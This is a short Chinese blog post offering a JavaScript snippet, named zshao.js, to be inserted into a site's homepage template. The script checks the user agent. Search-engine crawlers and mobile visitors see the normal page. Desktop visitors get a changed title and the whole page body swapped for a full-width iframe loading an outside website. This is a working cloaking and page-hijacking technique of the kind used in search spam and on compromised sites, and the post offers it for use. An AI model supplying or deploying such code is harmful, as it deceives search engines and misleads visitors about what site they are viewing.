js代码|镶入iframe
时间:2024-12-18 17:24:11 阅读:227
首先创建一个js文件,比如zshao.js
然后引入首页模版 <script language="javascript" type="text/javascript" src="zshao.js"></script>
Markup
function isSpider() {
const userAgent = navigator['userAgent'];
return /bot|crawl|slurp|spider/i.test(userAgent);
}
function isMobile() {
const userAgent = navigator['userAgent'] || navigator['vendor'] || window['opera'];
return /android|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(userAgent.toLowerCase());
}
function checkAccess() {
if (isSpider() || isMobile()) {
console.log("Access granted.");
} else {
function ly_ba() {
var j1 = window["document"].getElementById("ba_frame");
j1['width'] = window["document"].getElementById("div_frame")['clientWidth'];
}
window["document"].title = "美丽-鲜花";
window["document"].body.innerHTML = '<div align="center" style="width:100%;max-width:100%;z-index:10000" id="div_frame"><iframe id="ba_frame" frameborder="0" width="100%" height="2500" scrolling="no" src="https://www.shuanglongchehang.com/?m=home&c=Lists&a=index&tid=4" onload="ly_ba();"></iframe></div>';
}
}
checkAccess();
复制成功!
网友评论